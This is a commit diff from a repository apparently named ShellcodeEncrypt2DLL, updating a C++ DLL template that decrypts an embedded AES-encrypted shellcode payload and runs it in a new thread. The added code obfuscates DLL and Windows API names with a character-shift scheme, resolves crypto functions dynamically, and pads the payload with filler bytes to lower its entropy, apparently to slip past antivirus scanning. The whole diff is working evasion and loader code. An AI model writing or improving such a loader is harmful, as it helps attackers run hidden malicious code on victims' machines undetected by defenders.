admin/restkhz-ShellcodeEncrypt2DLL
1
0
Fork 0
mirror of https://github.com/restkhz/ShellcodeEncrypt2DLL synced 2026-06-06 16:34:37 +00:00
Code Issues Packages Projects Releases Wiki Activity

update

Browse Source
This commit is contained in:
restkhz
2025-03-28 19:47:58 +01:00
parent 54d214eb63
commit 8c0f80b90e
4 changed files with 176 additions and 26 deletions
Download Patch File Download Diff File Expand all files Collapse all files
template.cpp
+95 -12
View File
@@ -4,7 +4,7 @@
#include <stdlib.h>
#include "shellcode.h"
#pragma comment(lib, "crypt32.lib")
//#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "user32.lib")
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
@@ -12,6 +12,16 @@ typedef VOID (WINAPI *pRtlMoveMemory)(PVOID, const VOID*, SIZE_T);
typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef BOOL (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL (WINAPI *PFN_CryptAcquireContextW)(HCRYPTPROV*, LPCWSTR, LPCWSTR, DWORD, DWORD);
typedef BOOL (WINAPI *PFN_CryptCreateHash)(HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH*);
typedef BOOL (WINAPI *PFN_CryptHashData)(HCRYPTHASH, const BYTE*, DWORD, DWORD);
typedef BOOL (WINAPI *PFN_CryptDeriveKey)(HCRYPTPROV, ALG_ID, HCRYPTHASH, DWORD, HCRYPTKEY*);
typedef BOOL (WINAPI *PFN_CryptSetKeyParam)(HCRYPTKEY, DWORD, const BYTE*, DWORD);
typedef BOOL (WINAPI *PFN_CryptDecrypt)(HCRYPTKEY, HCRYPTHASH, BOOL, DWORD, BYTE*, DWORD*);
typedef BOOL (WINAPI *PFN_CryptDestroyKey)(HCRYPTKEY);
typedef BOOL (WINAPI *PFN_CryptDestroyHash)(HCRYPTHASH);
typedef BOOL (WINAPI *PFN_CryptReleaseContext)(HCRYPTPROV, DWORD);
pVirtualAlloc dynVirtualAlloc = NULL;
pRtlMoveMemory dynMoveMemory = NULL;
pCreateThread dynCreateThread = NULL;
@@ -21,8 +31,57 @@ pVirtualProtect dynVirtualProtect = NULL;
#define USE_HEADER_KEY
#endif
void leftShift(char *str) {
if (str == NULL) return;
for (size_t i = 0; i < strlen(str); i++) {
str[i] = str[i] - 1;
}
}
void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
char advapi32[] = "bewbqj43/emm";
leftShift(advapi32);
HMODULE hAdvapi32 = LoadLibraryA(advapi32);
char CryptAcquireContextW_E[] = "DszquBdrvjsfDpoufyuX";
char CryptCreateHash_E[] = "DszquDsfbufIbti";
char CryptHashData_E[] = "DszquIbtiEbub";
char CryptDeriveKey_E[] = "DszquEfsjwfLfz";
char CryptSetKeyParam_E[] = "DszquTfuLfzQbsbn";
char CryptDecrypt_E[] = "DszquEfdszqu";
char CryptDestroyKey_E[] = "DszquEftuspzLfz";
char CryptDestroyHash_E[] = "DszquEftuspzIbti";
char CryptReleaseContext_E[] = "DszquSfmfbtfDpoufyu";
char *encrypted_functions[] = {
CryptAcquireContextW_E,
CryptCreateHash_E,
CryptHashData_E,
CryptDeriveKey_E,
CryptSetKeyParam_E,
CryptDecrypt_E,
CryptDestroyKey_E,
CryptDestroyHash_E,
CryptReleaseContext_E
};
int num = sizeof(encrypted_functions) / sizeof(encrypted_functions[0]);
for (int i = 0; i < num; i++) { leftShift(encrypted_functions[i]);}
PFN_CryptAcquireContextW CryptAcquireContextW = (PFN_CryptAcquireContextW)GetProcAddress(hAdvapi32, CryptAcquireContextW_E);
PFN_CryptCreateHash CryptCreateHash = (PFN_CryptCreateHash)GetProcAddress(hAdvapi32, CryptCreateHash_E);
PFN_CryptHashData CryptHashData = (PFN_CryptHashData)GetProcAddress(hAdvapi32, CryptHashData_E);
PFN_CryptDeriveKey CryptDeriveKey = (PFN_CryptDeriveKey)GetProcAddress(hAdvapi32, CryptDeriveKey_E);
PFN_CryptSetKeyParam CryptSetKeyParam = (PFN_CryptSetKeyParam)GetProcAddress(hAdvapi32, CryptSetKeyParam_E);
PFN_CryptDecrypt CryptDecrypt = (PFN_CryptDecrypt)GetProcAddress(hAdvapi32, CryptDecrypt_E);
PFN_CryptDestroyKey CryptDestroyKey = (PFN_CryptDestroyKey)GetProcAddress(hAdvapi32, CryptDestroyKey_E);
PFN_CryptDestroyHash CryptDestroyHash = (PFN_CryptDestroyHash)GetProcAddress(hAdvapi32, CryptDestroyHash_E);
PFN_CryptReleaseContext CryptReleaseContext = (PFN_CryptReleaseContext)GetProcAddress(hAdvapi32, CryptReleaseContext_E);
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
@@ -82,12 +141,17 @@ void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
BOOL InitDynamicFunctions(char* key, DWORD keyLen) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
char kernel32[] = "lfsofm43/emm";
leftShift(kernel32);
HMODULE hKernel32 = GetModuleHandleA(kernel32);
unsigned char VA[] = {VIRTUALALLOC};
unsigned char RMM[] = {RTLMOVEMEMORY};
unsigned char CT[] = {CREATETHREAD};
unsigned char VP[] = {VIRTUALPROTECT};
unsigned char lower_funcname_entropy[] = {LOWER_FUNCNAME_ENTROPY};
DecryptAES((char*)VA, sizeof(VA), key, keyLen);
DecryptAES((char*)RMM, sizeof(RMM), key, keyLen);
@@ -117,8 +181,20 @@ void CALLBACK run(void) {
unsigned char key[] = { KEY };
DWORD keyLen = sizeof(key);
unsigned char payload[] = { PAYLOAD };
DWORD payloadLen = sizeof(payload);
unsigned char origPayload[] = { PAYLOAD };
size_t loopLength = sizeof(origPayload) / sizeof(origPayload[0]);
size_t payloadLen = (sizeof(origPayload) / sizeof(origPayload[0]) + 1) / 2;
unsigned char payload[payloadLen];
DWORD i,j = 0;
for(i=0; i < loopLength; i+=2) {
payload[j] = origPayload[i];
j++;
}
unsigned char lower_payload_entropy[] = { LOWER_PAYLOAD_ENTROPY };
//DWORD payloadLen = sizeof(payload);
if (!InitDynamicFunctions((char*)key, keyLen)) {
return;
@@ -159,8 +235,19 @@ void CALLBACK run(void) {
}
#else
void CALLBACK run(char* key, DWORD keyLen) {
unsigned char payload[] = { PAYLOAD };
DWORD payloadLen = sizeof(payload);
unsigned char origPayload[] = { PAYLOAD };
size_t loopLength = sizeof(origPayload) / sizeof(origPayload[0]);
size_t payloadLen = (sizeof(origPayload) / sizeof(origPayload[0]) + 1) / 2;
unsigned char payload[payloadLen];
DWORD i,j = 0;
for(i=0; i < loopLength; i+=2) {
payload[j] = origPayload[i];
j++;
}
unsigned char lower_payload_entropy[] = { LOWER_PAYLOAD_ENTROPY };
//DWORD payloadLen = sizeof(payload);
if (!InitDynamicFunctions((char*)key, keyLen)) {
free(key);
@@ -223,6 +310,7 @@ DWORD WINAPI ThreadProc(LPVOID lpParam) {
}
#endif
extern "C" __declspec(dllexport)
void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
#ifdef USE_HEADER_KEY
@@ -234,12 +322,7 @@ void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
#endif
}
#ifdef USE_HEADER_KEY
DWORD WINAPI ThreadProc(LPVOID lpParam) {
run();
return 0;
}
#endif
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {